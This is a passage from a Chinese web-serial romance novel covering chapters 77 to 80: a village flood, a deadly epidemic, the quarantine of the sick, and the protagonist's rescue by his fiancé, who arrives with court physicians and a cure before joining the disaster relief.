天上像露了个洞,这水疯狂往下倒着,这南面山多地势低洼,哪儿扛得住这般大雨。 一日过去,宋泊的卧室积上了一层水,他家地势高尚且如此,不知宋茶栽家和传福镇又是何种情况。 但此时天气实在恶劣,宋泊也无法出门查看,只能继续待在家中,熬着这场雨过去。 果然如原著里所写,这场大雨下了三天,等到雨小的时候,宋泊都得放把椅子在床上,坐在这上头才不会被水浸湿。 还好他的卧房足够坚固,准备的干粮和水也足够多,才免了洪涝之苦。 这村中的排水太差,宋泊若从椅子上下来站在地上,那水能没过他的下半身,直抵他的腰前。 不过雨已小了,宋泊便打算湿上一套衣服,去宋茶栽家瞧瞧是什么模样,按原著所写,三日大雨之后只剩小雨,还算可以出门。 宋泊将常乐放在椅子上,叫它不要随意跑动以后,这才蹚入水中。 常乐有灵性,它也知自己现在做不得什么,便乖乖坐在椅子上,只嗓子里发着声。 宋泊将房门一打开,才发现门外已经被淹了去,外头与他屋内的水齐高,宋泊一刻不敢耽搁*,直往宋茶栽家去,这越往下走,水越深,早在宋茶栽家离他不远,在水没过他胸前的时候,他到了宋茶栽家。 宋茶栽的院门已经被大水冲走不知去向何处,他走入院子里,喊着:“大姑!姑父!” “宋泊,你怎的这时来了?”宋茶栽的声音从里头传出来,听着中气很足,应当没有出事,“赶紧回去,等会再下大雨把你淹了。” “我瞧着这雨应该不会再下大了,便来瞧瞧你们的情况。”宋泊也没再往里头走,他在院子里与宋茶栽搁门对话,“你们的吃食还够吗?要不要我带一些过来。” “不用,你照顾好你自己就是,不必担心我们。”宋茶栽说:“你赶紧回去,再不回去我要生气了。” “好,那我便先回去了。”宋泊应声,“我准备了月余的干粮,你们若是没了吃食,直接找我。” “知道了!”宋茶栽说。 卧室内,宋茶栽和刘南民将桌子搬上了床,这才堪堪坐着没被水淹,他们这儿的地势低,只能比宋泊坐得更高,才能不被水淹着。 “这雨也真是邪了门,要不是宋泊把咱家修了一通,恐怕要被这雨落出个洞来。”刘南民说。 “宋泊还喊我帮他买些干粮,路上赶路用,我这才买了二十日的干粮,还没来得及给宋泊呢,就发生了这档子事。”宋茶栽也是庆幸,还好宋泊叫她帮忙买了干粮,这才不愁吃。 “此事之后当好好谢下宋泊。”刘南民说。 “我知的。”宋茶栽道,她捏着手里的干粮,只觉着宋泊真是他们宋家的吉星,从上年九月以后,一切都在向好发展,遇着这百年一遇的大雨,也能安然度过。 翌日,宋泊家的水位降下去不少,宋泊这才把椅子从床上挪开,现在的水位还不足以常乐在地上跑,宋泊便让它在床上待着,等水位不至于淹死常乐的时候,他再将常乐放下来。 “宋泊!”门外传来刘南民的喊声,宋泊赶紧从卧房出去,“怎么了姑父,可是出了什么事儿?” 刘南民脸上戴着由布做成的口罩,满头是汗,“你赶紧来帮忙,我们忙不过来了。” 宋泊也没问什么缘由,直接便跟着刘南民走了。 路上刘南民也给了宋泊一个布口罩,叫他赶紧带上。 等到了宋茶栽家才发现,她家挤满了人,虽然水位还未完全退下,但已经有受了伤的村民家属带着伤着来找她。 “宋大夫,看看我家女儿吧,她呛了水以后一直未醒” “先看我爹,我爹滑了一跤摔着骨头都直不起腰了。” “先看我娘子,我娘子从水里捞出来的,都没呼吸了” 好多村民都哭丧着脸,有带活人来的,也有带死人来的,这场突如其来的大雨,杀了不少人。 宋茶栽一个人忙活不过来,她脸上也带着布口罩。 灾难苦在其中更苦在以后,洪水过后定起疫病,这古代医疗条件不足,一传染便传染一群,而后便会成片成片地死人。 宋茶栽眼睛尖,瞅着站在门外的两人,她高声喊着:“赶紧过来搭把手!” 宋泊与刘南民直接投入百姓的救治当中。 宋茶栽家中还有及腰的水,那些个伤患只能搁在床上,就算如此,背也难免被泡在水中,这无疑会加重伤患的病情。 宋泊便与宋茶栽提议着,将她看好的伤患往他家挪,至少他家的水位已然下降至床底,伤患不至于再泡在水中。 宋茶栽欣然应允,一些个稍微健康的村民帮了忙,把伤患转移到了宋泊家。 可宋泊家到底只有那么点儿大,放下十来人以后便再挤不下了。 救人有限,宋泊和宋茶栽也只能在自己能力范围之下救人,一些个听着自己挤不上位儿的人崩溃地在宋茶栽家门口闹事,还有眼睁睁看着自家人咽气的,一时间哭闹声、叫喊声纷杂,宋泊皱着眉头,此处已成为了人间炼狱。 宋茶栽家中器具不够,将厨房的器具也拿来使用也只够给五人熬药,这时间就是金钱,他们耗不了时间。 “诸位听我一言!”宋泊站在宋茶栽身旁,抬高声量喊着。 大伙儿急了眼,根本没听到宋泊的声儿。 宋泊拍了拍桌子发出巨响,大伙儿才转头过来瞧着宋泊,稍微安静了些。 “水灾来得突然,请大家将家中器皿拿出来,多救一人是一人。”宋泊的声音低沉却洪亮,他看着在场的百姓们,“若有谁家没被水淹,便说出来暂放伤患,大家都是一个村子里的人,我大姑定会尽力救治。” 听着宋泊的话,大伙儿面面相觑。 “我!我家住的高,就是有些远。”一男子举了手。 “我可以把我家里的器皿拿来。”一女子出了声。 有两人起头以后,其他人也跟着出声。 还好来到宋茶栽家中的人并不多,伤患不过三十多人,都被安置妥当,那些个侥幸没被水淹着的健康人,也都留了下来帮着熬药,哥儿和姑娘们忙着赶制布口罩,大伙儿各司其职,秩序恢复正常。 第77章 第七十七章你来了。 入了夜,宋里正和宋灵铃也到了宋茶栽家,他们因着宋泊先前的提醒,早做了准备,故而受到大雨的影响小一些,家中并未出现人员伤亡。 “现在是什么情况?”宋里正问。 水灾来得这般突然,有些人到了宋里正家求救,可宋里正又不会医,只能将人送到最近的宋茶栽家。 远水解不了近渴,宋茶栽是村里的大夫,医治这事儿还得靠她来。 只是他没想着,大部分的村民都聚在这儿,面前还有伤患哀嚎着说痛,宋里正心中顿升一股无力之感。 “死了七人,伤了四十五人,健康的人未数,当有二十余人。”宋泊说。 “尽力救治,有什么需要尽管与我说。”宋里正道,他身为一村里正,与村中人一同生活许久,自看不得村中百姓受这般苦难。 “我定会努力医治。”宋茶栽应声。 宋灵铃被宋里正留下来当帮手,他则到村中各处,帮着有需要的村民将伤患转移到宋茶栽家中来,杨绘则在家中熬粥,大雨过后很多人家中物什都被冲了去,鸡、鸭一只未剩不说,连家中的存粮也都冲了去。又忙活了一天,最是饿极,这种时候可得把能量补上。 一村子人互相帮助,倒也安定地过了五日。 只是这安定没有维持太久,有个伤患半夜发了高热,咳嗽、呼吸困难,身上起点点小疹子,宋茶栽尽力医救,那人坚持七日以后,还是没坚持住失了性命。 随后照顾他的哥儿也发了热,身上也起了疹子。 这病似会传染,哥儿发热后,与他接触过的人也有的发了热,他们的症状都与先前死了的伤患一样。 短短十日,村子里有这症状的人,从一人变成了二十人。 一时间人心惶惶,大家都害怕下一个中招的人就是自己,说什么也不愿再去照顾不相识的人。 不过十五日,死亡的人数从七人变成二十五人。 宋茶栽紧紧蹙着眉头,她面前散落的纸不计其数,上头写了密密麻麻的字,她拿起一张瞧着又看着另外一张,“这病当真奇怪,明明药都用了下去,却作用微末。” “大灾过后最是容易生出疑难杂症,大姑你且慢看着,没准便钻研出其中奥秘。”宋泊安慰着。 “我能等,他们却等不了。”宋茶栽额头上的汗水流了下来,她直接用衣袖将汗水抹去,继续目不转睛地瞧着药方瞧。 因着得了怪病的人一个个死去,甚至有人主张要将他们隔离起来,宋茶栽自然不愿看到这幅情形,只是她现在也毫无头绪。 为了保护健康的村民,宋里正只能狠了心,将那些身上起了疹子的病患关到一处儿去,那些自知自己活不久的人也不想害着自己亲人,都乖乖进了宋里正安排的屋子,看得宋泊心中难过。 宋泊恨,恨他未学过医,无法在这个时候发挥作用。 “宋大夫,你定要尽快研制出救治的药物,不然这般下去,恐怕村中无人了。”宋里正说着。 将那些病患关至一处并非他本意,只是不止他们村,连传福镇甚至霞县的情况都不好,霞县域内的大夫个个忙得团团转,根本没人有闲工夫管着他们这边儿,所以宋里正只能用了最下等的办法,而寄希望于宋茶栽身上。 “我知的。”宋茶栽说。 三日以内,宋茶栽合眼的时间加起来不过四个时辰,其它时间她都埋头在医书之中,有些医书都被她翻烂了。 宋泊瞧在眼里,疼在心里,那些伤患被病痛折磨,而宋茶栽又何尝不是,短短几日她已瘦了许多,本来丰盈的身体,现下都快成竹竿了。 “大姑,歇会儿吧。”宋泊道。 “你从那儿回来,他们可有好些?”宋茶栽问。 大家都不愿意提起关着病患的地儿,只能用那儿来替代。自此怪病后,同意留下来照顾病患的人少之又少,而宋泊在此刻挑起了担子,将自身生死置之度外,为那些伤患送饭送药。 听宋茶栽这么问,宋泊摇了摇头,“还是跟往常一样,而且今日又去了一人。” 宋茶栽的眉头越发紧了,“这我哪儿有空歇息。” 得病的人未好,又有与他们接触过的人新得了病进去,那个关着的人没少反增,让宋茶栽闹心得很。 宋泊递出一块干粮,说:“就算是铁人,也得吃了饭才能继续干活。” 手一伸长,露出宋泊的一小节胳膊,宋茶栽顾不上干粮,直接抓着宋泊的手,将他的袖子撸开来。 手臂上的皮肤已有点点红斑,在白皙的皮肤上尤为刺眼。 这几日一直忙着,宋泊都无心在意自己,现下宋茶栽将他的衣袖拉开以后,他才知自己也被传染了。 宋泊立刻拂开宋茶栽的手,而后将衣袖放下,退到宋茶栽房门口,“大姑记得吃饭,别垮了自己,我去那儿等你救我。” “你”宋茶栽喉中发涩,水灾以后都是宋泊忙前忙后,哪儿有苦他第一个吃,可老天却不愿放过这般好人,竟也让他染上了病。 “干嘛跨着脸,别人都是发热以后才起疹子的,我先起了疹子,没准能比他们多熬上几日呢。”宋泊笑道。 “少胡说。”宋茶栽瞪了他一眼,“你就在那里好好躺着休息,等大姑救你。” “得令。”宋泊不愿给宋茶栽太大的压力,便用着玩笑话将自己染病的事儿带了过去。 宋泊日日去那儿,对那儿再熟悉不过,真在里头有了个属于自己的位置,他还觉着有些唏嘘。 那儿是个临时征用的空房子,里头没有任何家具,因着现在七月入了夏,气温不算太低,每个病患便都分着一床席子和薄被,就这般简单地躺在地上。 为救他人染病而死,宋泊并不后悔,只是不能陪江金熙往下走,不知他会不会怪他呢。 七月二十九日,水灾发生的第二十七天,宋泊染病的第二天,发热的症状找上了他。 发热、咳嗽、呼吸困难只是外部看来的症状,内里只有伤患能体验到的还有肌肉酸痛全身无力。 尽管身体极为痛苦,宋泊还是使了劲,强撑着身体拿了饭食和汤药进来。 连他也进来以后,愿意来这儿的人又少了,他们只会将饭食和汤药放在门口,而至于怎么送进去,就得靠里头的人自己出来拿。 短短几十步路,让宋泊气喘吁吁,上不来气,他回到自己的位置上,背靠着柱子大口且缓慢地呼吸着,总算缓和过来一些。 接着宋泊端起饭吃了下去,而后又把汤药也喝了,他得撑住,给宋茶栽研制出药方的时间。 躺在竹席之上,宋泊愣神地看着天花板,发热让他的脑子有些混沌,这房子内又昏暗无比,一时间宋泊不知道时间过去了多少,只想着自己要清醒些,断不能轻易睡去。 醒了睡、睡了醒,恍惚之间宋泊也不知道自己是醒着多还是睡着多,每日他只能靠饭食来的时间来判断日子。 前头几日他还能判断着,后面便浑浑噩噩起来,分不清白日黑夜。 生病的感觉总是苦人,得了病的病患也有因着受不了苦而选择自己自尽的。 短短一个月,宋泊觉着自己看尽了人间百态。 眼皮渐沉,宋泊再也坚持不住,小睡一会儿,睡醒才能与病魔继续斗争。 “宋泊、宋泊!” 不知睡了多久,有人一直拍着他的肩膀。 宋泊睁开眼,眼前一片朦胧看不太清,等着适应一段时间以后,他才看清自己被人搂在怀中,而搂着他的人正是江金熙。 江金熙面上带着个口罩,这口罩质地比他们的好多了,一看便是上等货。 一时间宋泊也顾不上什么,他想离江金熙远些,却因着身体无力怎么也动不了,无法,他只能用说话的方式提醒江金熙,“离我远些,这怪病会传染的。” “不必担心,这病靠唾沫传播,我这脸上的口罩已经加工过,我不会被传染的。”江金熙说。 就算如此,宋泊还是不安心,他记着江金熙说的传播途径,便吃力地挪了脑袋,又抬着手捂住了口,道:“你还是离我远些,这病不好受又暂无药方,我不想你得。” “谁说没有药方了。”江金熙道:“我在京中的师傅研制出了汤药,我已经喂你喝下了,你可有感觉好些?” 这怪病有药治了! 宋泊心中顿生喜悦,“真的?” “千真万确!”江金熙答,“这儿的人都被挪了出去,等会我带你回家,过两日你就会好起来的。” 回家,这两字在这时候听起来何其温暖。就算是再铁骨铮铮的硬汉子,也难免会在这个时候落下几滴泪。 这些日子实在太苦,苦到连江金熙这般简单的话,在宋泊心中都如蜜糖。 “你怎么哭了。”江金熙瞧着宋泊眼中滑下的泪,心如刀绞,他紧紧抱住宋泊,说:“是我来晚了,这病定然折磨了你许久。” 宋泊摇了摇头,“没有,其实我高兴呢。” “高兴什么?” “高兴你来了。” 第78章 第七十八章我不怕。 七月十日,南方发水灾的急信送到京城,皇帝重视此事,当即就要派人下南方,只是这差事苦不说,稍不注意还有可能送命,大伙儿都不太乐意当这个出头鸟,都虚言推脱,皇帝因此大怒,要江丞相两日内将赴南名单列给他,名单一出立即启程。 江金熙听说此事,在江丞相回府以后,第一时间便赶到书房。 宋泊在的近里村就在南面,听到南面传来的水灾消息江金熙完全坐不住,“爹爹,让我去吧。” 这三个月他跟着御医学医,医术又进步不少,灾情后最缺的就是大夫,他去了南面定然能出一份力。 “免谈。”江丞相道。 前头近里村没事他都不让江金熙去,这时儿发了大水,他更不会同意江金熙离开京城。 江金熙自知用说的可能嘴皮子磨破都说不动自家爹爹,他走到江丞相面前,直直便跪了下去。 江丞相惊得连手上的信纸都拿不住,“江金熙!你这是做什么!” 他家哥儿最是骄傲,除了在南面的县衙里为宋泊跪过以后,从未再跪过他人,今天为了去南面,那发了水灾的人间炼狱,居然又曲下了膝盖。 “爹爹。”江金熙背脊笔直,眼神坚定,“我此番前去南面不仅为了宋泊,还为了南面百姓,这几月来我的医术进步你应当知的,这般医术若不用来救人,那便是无用功夫。”江金熙微微抬头,隔着书桌看向江丞相,“爹爹,你就让我去吧。” “那地儿现在多恐怖你不懂?”江丞相起了身,把信纸拿给江金熙看。 信中写了南边各州县的情况,大水过后,横尸遍野,别说粮食,有些百姓的房子都被大水冲毁了去,百姓们得不着吃的,又被灾后疫病折磨,那边已然沦为恒国最恐怖的地方。 江金熙将信件上的字一字一字仔仔细细地看去,而后将信小心地折起来,还给江丞相,说:“我不怕。” 确实没想着江金熙会这么回答,江丞相垂眸看着跪在地上的自家哥儿,不知何时,他家这朵温室里的花朵变成了悬崖边的寒梅,历经风吹雨打,依旧傲然。 江丞相忽然在江金熙的身上看见了以前意气风发的自己,他道:“你当真要去?或许去了就再也回不来了。” 江金熙一刻也未迟疑,几乎是江丞相话音刚落,他便答道:“去。” “那我便把你写在名单之内,写上了可就不能后悔了。”江丞相最后给江金熙一次反悔的机会。 “多谢爹爹。”江金熙双手搁在额头前,朝江丞相磕了个头。 江丞相叹了口气,“你去准备吧,后日启程。” “是。”江金熙从地上起来,走出门的每一步都自信。 两日一眨眼便过了,不止江金熙一个会医术的人要去南边,江丞相还写上了江金熙的师傅以及其他御医,凑起来能有十个大夫,算是较庞大的大夫队伍。 江金熙今儿个穿了身方便行动的,整个人少年风发,可江夫人就是忍不住要抹泪,“去了南边一定要小心。” “放心吧娘亲,还有那么多人在呢,不会出事的。”江金熙从洪嬷嬷那接过手巾,给江夫人擦泪。 “你也是大了,娘亲拦不住你。”江夫人从怀里掏出一把秀气的匕首,交与江金熙的手中,“救助百姓的同时要小心,大灾以后人心险恶,若有人要对你行凶,你尽管拿这刀保护自己,出了事娘亲帮你。” “好。”江金熙乖乖收下匕首,而后抱着江夫人,“别担心,我肯定安全回来。” 江夫人顺了顺江金熙的秀发,说:“好,我知道我家哥儿最是厉害。” “江夫人、江公子,我们要启程了。”有人的声儿传来。 “娘,我走了。”江金熙紧了紧抱着江夫人的手,接着松开,走上马车。 随着领头镇河将军一声哨声,去往南边的车队浩浩荡荡出发。 江金熙掀开车窗帘,一直往后瞧着江夫人,直到看不见人影才放下车窗帘。 “江丞相为何不下去送送江公子?”出行马车队边的客栈二楼,云廷尉不解的问着。 “这般看看就行了。”直到马车消失在道路尽头,江丞相才反身从客栈离开。 这次去南边不是去玩而是去救人的,所以车队行进速度极快,就算马车以舒适为主,这车轮翻滚,车身也是时不时颠着,说不上一点儿舒服。 不过马车中的人并未被这颠簸扰到,江金熙的师傅钟御医一路上都在看着医书,并且根据送来的信,一直写着药方,大灾以后必定有伤患,只是伤患的症状种类不同,所以各种病的法子都得备住,一有出现的病患可以立即配上药,力求第一时间救人。 车队每行进一日,就会多收到些与南方有关的信件,七月十五日,信件中第一次出现有关疫病的消息,得病者先是高热,随后出现咳嗽、呼吸困难、肌肉酸痛等症状,并伴随着浑身红疹,病程一般在五至十日,目前已经有因此病死去的人。 马车内的人都眉头紧皱,疫病果然如他们所料出现了,这是最难治的病,不止在于它会传染,更在于它可能与之前的疫病不同,得重新写药方。 出现一例疫病死亡,接下来只会有成百上千因此病死亡的人,马车内的人都将这疫病放在首要之处。 江金熙听着这消息,一颗心瞬间悬了起来,疫病传染速度极快,保不齐宋泊那儿也会出现染了疫病的人,他怕宋泊也被染了病。 车内人商量了三日,方子列了很多,却一直无处下方子,有人说着:“咱们纸上谈兵也没个用处,还是得有实际的病人才行。” 钟御医掀开车窗帘,询问边儿的士兵,“我们还有几日抵达南方?” “回钟御医,再过一日就能到达南方最北城,林城。”士兵答着。 “行,请你与镇河将军说说,再加些速。”钟御医说。 士兵却苦着答道:“不能再快了钟御医,咱们这一趟跑来,马儿已经跑死了很多。” 医师想救人,车队为首的镇河将军又何尝不想,只是这条件就摆在这,再好的马匹也经不住这般跑。 如此,七月十九日,车队进入了南方地界。 一进南方,路边就多了很多受难的百姓,百姓们满脸脏污,面容饥瘦,有的甚至大着胆子来拦车队,嘴上喊着:“官爷,求求你们给些吃的吧。” 此车队就是为了救人而来,镇河将军当即在林城停住,设了个临时的饭点,熬粥分给受难者喝。 “官爷,救救我家孩子吧,我家孩子高热不退,身上还长了红点。”一妇人抱着约莫五六岁的孩子,一下便跪倒在镇河将军面前。 钟御医脸上戴着特制的口罩,听着妇人的话,他赶紧让妇人把孩子放下。 经过钟御医的看诊,此孩子得的正是之前路上他们所知的那个疫病。 “金熙,把我的诊盒拿来。”钟御医唤道。 “是。”江金熙立即回到车厢之中,把钟御医的诊盒拿出来。 别儿个的百姓见着来人真的是来救他们的,纷纷将自家的伤患或抬、或搬了过来。 车队被百姓们堵住,只能被迫在这儿停住。 车队在林城留了三日,钟御医试了四、五种法子,那最先来的孩子还是因疫病死了。 一时间,车队里气势低落,大家都是奔着救人来的,可这人还是生生地在他们面前死了去。 更让他们难过的是,妇人没有半点儿怨言,反而在孩子死后,朝他们下跪,说谢谢他们尽力救治过她的孩子。 这怎么不让人苦心。 孩子死后,身上的红点不少反增,钟御医注意到这点儿,征求了那位妇人的意见,将孩子剖开了来。 原来这病并非侵扰肺部,而是侵扰了胃部,胃部溃烂发炎胀大,挤占了肺部本来的空间,这才导致病者咳嗽又呼吸困难。 找到救治的方向,钟御医将药方改了来,虽说还不知道红点出现的原因,可这药往胃部去了以后,病人的症状确实有缓解。 一成年男子喝了三日的药,病情好转不说,身上的红点也随之减少,又过三日,男子彻底好了,并且再未得过此病。 此消息一出可是振奋人心。 疫病被攻破便无甚可怕,只是他们在这林城耽搁了九日,江金熙心底一直记挂着宋泊,便求着镇河将军分出一些士兵与他先往最南面去,那儿有条大河,当是水灾最严重的地方。 镇河将军听了他的话,却未采纳他的意见,镇河将军只将一部分人留在林城,其余大部分都继续往南面赶。 终于,在八月二日,江金熙赶到了近里村。 村内满是遇难者,大家无暇顾及,尸体便无人处理,江金熙来不及感叹物是人非,直接便领了人去往宋泊家,见到一屋的病患却未见着宋泊的时候,他又忙去找宋茶栽,这才得知宋泊也染了病,被关在了名叫那儿的地方。 江金熙戴好口罩,直接便往那儿去,他打开了那儿的房门,一眼便瞅着宋泊躺在一张竹席之上,整个人瘦了不少,呼吸轻且浅,像是马上会消逝一般,他小心跨着房内的病人,走到宋泊身边,他轻轻环抱住宋泊,口中颤抖,“宋泊,宋泊。” 直到怀中人睁开眼,江金熙才觉热泪盈眶,还好,上天待他终究不薄,他赶到了。 第79章 第七十九章灾后。 江金熙让身旁的士兵帮着搭把手,把宋泊抬回了宋泊家。 因着宋泊家地势高,未被大水冲去,故而充当着临时放置病人的地儿,江金熙腾出一个干净的地儿,让士兵垫了几层被褥,才把宋泊轻轻放在上头。 “你先在这儿躺会,我去给你拿药来。”江金熙怕阳光直晒刺眼,还给宋泊支了把小伞。 许久未见太阳,宋泊有些恍惚,身下被褥松软不说,还带着淡淡的阳光味,让宋泊觉着他这才是好好活着。 江金熙去得快回得也快,他们早喊人熬了药,就是为着发现病人可以立即用上。 江金熙把宋泊扶了起来,让他靠在自己的身上,而后用勺子轻轻舀起药水,放在嘴前吹凉才送到宋泊口中。 这般一喂一喝倒也顺利,这药其实苦得很,可宋泊发了高热,味觉也麻痹了许多,便不觉着这药苦了。 一碗药如数进了宋泊的嘴以后,江金熙把宋泊重新放到这临时的床上。 江金熙并未在宋泊身边久待,宋泊睡着,他就寻到了宋茶栽身边,帮她忙,现在大夫急缺,江金熙带了疫病的方子来,可是帮了个超级大的忙。 刚刚江金熙急着找宋泊,也没与宋茶栽寒暄,现下宋泊沉沉睡去,他才安心下来,与宋茶栽说着话。 从宋茶栽那儿听来,她、刘南民还有宋里正一家能好好的,都多亏了宋泊,要不是宋泊瞧着天气,提前喊他们修了排水的道儿还装了家中的墙,这水灾没这么轻易能度过去。 只是村中百姓便没那么好的运气,地势低点的村民家,几乎都被大水给毁了,如此重创以后,近里村要在重新恢复生机,恐怕得花上一段时间。 聊了一会儿,江金熙便去照看那些得了疫病的人,那些人全都从那儿搬了出来,多晒晒太阳对他们的恢复也有好处。 江金熙就像个神仙,为他们带来了生的希望。 江金熙带来的药确实有用,宋泊不过喝了三次,咳嗽的次数便少了许多,睡觉期间也不会被呼吸困难给憋着。 只不过他有些心疼江金熙,自他来了以后,便如同一个陀螺一般,一直转着,一日合眼的时间连两个时辰也没有。 江金熙见宋泊醒了,立即走了过来,问着:“你觉得好些了吗?” “好多了。”宋泊答,他双手手臂往后撑着想要从地上起来,却被江金熙给按了回去,“你还得休息,起来做什么呀?” “我瞧你辛苦,想为你分担一些。”宋泊道。 江金熙笑了,一双明眸弯着,“你好好休息,好了以后再来帮我。” “我还以为你要叫我不用帮你呢。” 江金熙眨眼,“那怎么可能,你肯定要帮我的,我们可得救多多的人。” “好,那我就和你一起,救多多的人。”宋泊听话地躺了回去,他牵住江金熙的手,口中满是心疼,“只是这一路来,定是苦了你了。” “确实苦。”江金熙承认,“可我救到了你,这一路便是值得的。” 宋泊的心瞬间软成一滩水,他究竟何德何能,能认识这么好的哥儿,并与他定情。 江金熙察觉宋泊牵着他的力度,调皮着道:“是不是比以前更爱我啦?” “是,能遇上你应是我三生有幸。” “那便快些好起来,别叫我心疼。” 四日过去,宋泊已然好全,连身上的红点都消失了去。 宋泊好起来以后未曾休息,而是与江金熙一起,继续投入灾后工作之中。 先前忙着救人,路边的尸体只是简单处理了下,现下灾情大致稳定下来,那些个尸体也不能放任着不管。 听着宋泊要与士兵们一块将那些尸体集合起来烧了去,江金熙走到宋泊面前,从怀中拿出个口罩来,仔细给宋泊带着,“带个口罩,安全些。” “你那边现在如何了?”宋泊问。 江金熙一来便成为宋茶栽的得力助手,他俩在近里村中医治伤患,配合默契治好了不少人,那些好了的百姓都感恩戴德,直道宋茶栽和江金熙是天上派下来救他们的神官。 “都稳定下来了,你无需担心。”江金熙道。 “几日未睡,你的眼下都青了。”宋泊抚上江金熙的脸,心疼道。 江金熙跟猫儿般蹭了下宋泊的掌心,道:“我睡了的。” “等熬过这段,咱们就好好休息一阵。”宋泊道。 这月来,宋泊也是连轴转着不停,比上工还累了不少,本来就不壮的身躯更是瘦上几分。 不止宋泊心疼江金熙,江金熙也同样心疼宋泊,不过这情人在世,就是得相互扶持着,才能关关难关皆通过。 “好~”江金熙应着。 有士兵来催,宋泊才与他们一道儿离开。 古代处理尸体的法子比较简单,那些个尸体保不齐都藏着病毒,用一把火烧了去算是古代最省事也最安全的法子。 宋泊还是头一次见着那么多尸体,与见惯尸体的士兵不同,那么多形状各异的尸体,让他看着有些反胃*。 有个士兵瞧着宋泊脸色不好,说道:“你若受不住,就帮忙把尸体运过来就是。” 宋泊也不勉强自己,“行。” 一把火烧了就代表什么都不剩了,村民听着士兵们的安排,心中都不愿,在他们的观念里,逝去的人需要保持完整,直接埋入地下落叶归根就是,何故要狠了心把他们烧了去。 可他们也不敢惹士兵,只能在宋泊出来时,揪着他,希望宋泊能帮着求情,留下那些人的全尸。 镇河将军的安排他如何置喙,而且烧了也是个好处,保护了还活着的人。 “此事我真的没有法子,镇河将军一声令下,无人能改变他的选择。”无法,宋泊只能将镇河将军的身份搬出来。 村民们面面相觑,也知自己有些强人所难,只是要他们简单放弃又实在不忍。 “宋泊,你去了趟京城已比我们出息许多,相信你定有办法的。” 宋泊摇了摇头,“官的决定,我们只能遵从。” 连宋泊也没有法子,村民们的希望只能落了空,他们只能趁着火还没烧下去,再从亲人的身上捡些东西回来,存些念想。 忙活一日,等宋泊回到家时,天已然暗了下来。 士兵给江金熙搭了个临时的棚子休息,宋泊家已经放下了太多的病患,他们只能在院子里休息。 宋泊将身上的衣服换下,洗了个简单的冷水澡,换上干净的衣服。 “金熙,我能进去吗?”宋泊到江金熙的棚子前,里头点了支蜡烛,江金熙的影子映在棚子上。 听着宋泊的声儿,江金熙撑着身子掀开门帘,“进来吧。” 棚子内空间并不大,容纳两个人略微有些拥挤,更别说常乐比宋泊还早一步来找江金熙。 常乐趴在江金熙的怀中,江金熙顺着常乐的毛,笑着道:“常乐怎么比之前大了那么多。” “农村狗,长得快。”宋泊摸了下常乐的尾巴,常乐反过身来,舔了宋泊好几口,宋泊接着说:“它之前还护了你的草药苗子,不然那些草药可得被人偷了去。” “真的?”江金熙睁圆双眼。 “真的。”宋泊点头。 江金熙两手捏住常乐的狗脸,夸着,“不愧是我们常乐,这次来得及没给你带好吃的,改日再带个大鸡腿儿来奖赏你。” 常乐好像听明白了,高兴地直摇尾巴。 “那些草药你瞧着了吗?”宋泊问。 “在哪儿瞧?”江金熙反问,这些日子他也没空下地,这怎么能瞧着长在田里的草药苗子呢? “今年雨水多,姑父说草药苗子会提早成熟,六月我们就将草药全都收了回来。”宋泊说:“这几日大姑用的草药,有些部分就是你种来的。” 这大灾之后,草药最是宝贵,多亏了江金熙种的草药,为近里村的病患救治提供了很大的作用。虽说那些草药在药方中不是主要作用,但这味协同药性的辅助作用也是十分重要。 “如此我也是做了份贡献呢!”江金熙脑袋一歪,靠在宋泊身上。 “可大贡献了。”宋泊说:“等村子重建以后,宋里正定会组织大伙儿谢你。” 这对江金熙来说也是个好事,江丞相的哥儿在灾后重建出了主力,也会为江丞相赢个美名。 “那我就高兴。”江金熙说着,牵起宋泊的手来,现下棚子里没有他人,虽说隔音并不如房子那般好,但也能小声说些心里话,江金熙在宋泊耳边轻声问着,“这么多日不见,你有没有想我?” 宋泊环住江金熙,而后脑袋相靠,“自然想你,我行囊都准备好了,却被这大雨挡了去。” 江金熙垂着头,耳廓微微发红,他捏着宋泊的指节,“我也想你,如今瞧着你了,这思念才解了去。” “异地确实不易,不过两年以后我便去京城了。”宋泊道。 已经不止一次听宋泊说两年这个时限,江金熙怕宋泊被压力压得太紧,反而扰了心绪,便道:“无妨,这次来了,我便春节才回,省得我们都辛苦。” 第80章 第八十章苦死你。 “江丞相同意了?”宋泊问,以江丞相那般爱护自己哥儿的性子,能放江金熙来南边支援已是让步,还会再让江金熙在这儿待着吗? “爹爹不同意也没用,我已经出来了,到时候写封信回去就是。”江金熙调皮地眨了眨眼,“我给他争了这次的功绩,他肯定不会让人来抓我回去。” 原来这小算盘打在这儿。 宋泊忍不住笑道:“真是机灵。” 当晚,宋泊并未在江金熙的棚内过夜,一来棚内空间太小,两人睡下只能肉贴肉,连翻个身都困难,二来还未成婚之前便同处一间,对江金熙的名声也不好。 八月十日,林武玉让人来请江金熙上镇支援。 南边的县城以霞县受灾最为严重,几乎大半个县都被水淹了去,也就林武玉听了宋泊的话,在传福镇的下游挖了几个蓄水池,要不那连夜的雨无处可去,也得把传福镇给淹了。 不过就算如此,传福镇因地势低,情况也只是比霞县内其他镇子好一些。 传福镇内有几千多位百姓,现如今死去百多人,还剩下个很大的烂摊子,镇内人手不足,林武玉听闻近里村的情况已经安定下来,这才派人来请江金熙。 那疫病传福镇内也有人得,虽说有了京城来人帮忙,可到底还是需要江金熙上镇帮上一帮。 江金熙与宋茶栽说了这事,宋茶栽让他赶紧去镇子里,村里有他就够了。 宋泊与江金熙一道,带着些士兵一块儿去了传福镇。 这入了镇才发现,水灾无情。 街边商铺破的破、坏的坏,路边满是杂物残骸,有些百姓跪倒在地,只抱着怀中亲人痛哭。 江金熙不忍再看,只能目视前方撇去两边,直直往县衙去。 刚到县衙院口,就瞧着有人往里有人往外,跑来跑去很是急促。 宋泊随便拦住一人,问:“林县令可在此处?” 拦的人正好是县衙内的衙役,他点了下头,给宋泊和江金熙指明林武玉的所在之处,而后便急匆匆地又走了。 “他们作何如此着急?”江金熙不解。 “许是人手不足,所以得减少路上花的时间。”宋泊道。 进了县衙,县衙内的情况与宋茶栽家差不多,都是竹席铺在地上,做个简单的铺子给伤患休息,只是县衙内的空间大些,单是一个前院就躺了百位伤患。 “你们来了。”林武玉听着外头动静,从县衙内的正厅走出来,他脸上也带了个口罩,面上全是汗。 “林县令。”宋泊行了一礼。 “这时候就别讲究那么多了。”林武玉看着江金熙,“江公子,可得麻烦你进来瞧瞧。” “是。”江金熙应着,随着林武玉一块儿进了正厅。 